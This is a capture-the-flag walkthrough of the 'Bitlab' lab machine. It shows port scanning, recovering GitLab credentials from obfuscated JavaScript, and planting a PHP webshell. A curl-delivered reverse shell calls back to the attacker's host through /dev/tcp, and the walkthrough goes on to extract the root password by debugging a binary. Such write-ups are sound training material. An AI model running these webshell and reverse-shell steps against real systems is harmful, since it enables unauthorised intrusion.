Bitlab
Last updated
Was this helpful?
Last updated
Was this helpful?
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.114 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.
-p-
scanning the entire port range, from 1 to 65535.
-T5
insane mode, it is the fastest mode of the nmap time template.
-Pn
assume the host is online.
-n
scan without reverse DNS resolution.
-oN
save the scan result into a file, in this case the allPorts file.
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,53,80,1490,32400,32469 10.10.10.114 -oN targeted
-sC
performs the scan using the default set of scripts.
-sV
enables version detection.
-oN
save the scan result into file, in this case the targeted file.
There is a GitLab Community Edition server on port 80. But there is no registration form, just the sign in form.
If we click on Help
, we'll see that directory listing in enabled and there is a file called bookmarks.html
.
This file contains bookmarks for sites which are out of the scope.
Except for the last bookmark called GitLab Login which contains some JavaScript code encoded in hexadecimal.
We can decode it by simple doing an echo of the string.
echo 'javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document_0x4b18[2][_0x4b18[0]]= _0x4b18[3];document_0x4b18[2][_0x4b18[0]]= _0x4b18[5]; })()'
We get credentials for the clave
user. Let's use them.
There is one snippet called Postgresql
.
Which contains credentials for a PostgreSQL database.
Also, there is a project called Profile
.
Which is accessible in http://10.10.10.114/profile
.
We could try to create a new PHP webshell in the Profile project, and see if it is accessible.
Call it pwn.php
, add the webshell, and click on Commit changes
.
Then, complete the merge request, and click on Submit merge request
.
Finally, merge the patch-1
branch into the master
branch.
Now, the pwn.php
file is located in the master
branch of the Profile
project, and we can run commands on the system.
curl 'http://10.10.10.114/profile/pwn.php?cmd=whoami'
Time to get a shell. Set a netcat listener on port 4444, that will catch the reverse shell.
nc -lvnp 4444
-l
listen mode.
-v
verbose mode.
-n
numeric-only IP, no DNS resolution.
-p
specify the port to listen on.
Finally, send a reverse shell to our machine on port 4444, and get a shell as www-data
.
curl 'http://10.10.10.114/profile/pwn.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.10.14.8/4444%200%3E%261%22'
First, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z
and execute the following command on my local machine:
stty raw -echo; fg
reset
Terminal type? xterm
Next, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
And set the proper dimensions in the victim machine:
stty rows 51 columns 236
The user.txt
flag is in the home directory of the clave
user, we we'll have to become clave
.
find / -name user.txt 2>/dev/null
As we can se, port 5432 of the localhost is open, which is where the PostgreSQL database is running on.
netstat -tulpn
-t
TCP connections.
-u
UDP connections.
-l
listening.
-p
show the PID/Program name.
-n
don't resolve names.
Unfortunately, the psql tool is not available on the system.
psql
There is an alternative way to enumerate databases. Using PHP PDO we could try to enumerate the PostgreSQL database. The idea is to open PHP in interactive mode, create a new connection to the database with the credentials we found earlier, then query everything from the profiles
table, and fetch the results.
php --interactive
This looks like a base64 string, but trying to decode it gives an error.
echo "c3NoLXN0cjBuZy1wQHNz==" | base64 -d
If we remove the ==
characters, we'll get the ssh-str0ng-p@ss
password.
echo "c3NoLXN0cjBuZy1wQHNz" | base64 -d
But this password is not valid for the clave
user.
sshpass -p 'ssh-str0ng-p@ss' ssh clave@10.10.10.114
But, using the base64 string as the password seems to be valid. The, we'll be able to grab the user flag.
sshpass -p 'c3NoLXN0cjBuZy1wQHNz==' ssh clave@10.10.10.114
In his home directory there is one file called RemoteConnection.exe
.
ls -l
As it is a Windows executable, let's transfer the file to our local machine.
scp clave@10.10.10.114:/home/clave/RemoteConnection.exe .
And then, transfer it to a Windows 7 32bits machine.
impacket-smbserver smbFolder $(pwd) -smb2support
On the Windows machine, copy it to the desktop.
copy \192.168.8.137\smbFolder\RemoteConnection.exe
If we run the binary from the CMD console, we'll get the following message.
RemoteConnection.exe
Let's analyze the binary with Immunity Debugger. Click on File > Open
, and select the binary.
We can try to list all the text strings by doing Rigth click > Search for > All referenced text strings
.
There is one string with an absolute path to the putty.exe
binary.
Let's follow the string in the disassembler.
As we can see, that binary is trying to get some parameters.
Let's set a break point right before this part of the binary gets executed.
Then, hit play to start running the program. When it reaches the breakpoint, it will stop and we should see the parameters in the EBX register.
As we can see, it contains the credentials of the root user. Log into the machine as root, and then all we have to do is reap the harvest and take the root flag.
sshpass -p 'Qf7]8YSV.wDNF*[7d?j&eD4^' ssh root@10.10.10.114
If you try to run the binary, you'll get two errors saying that and are missing. Download the DLL files, and place them in C:\Windows\System32
.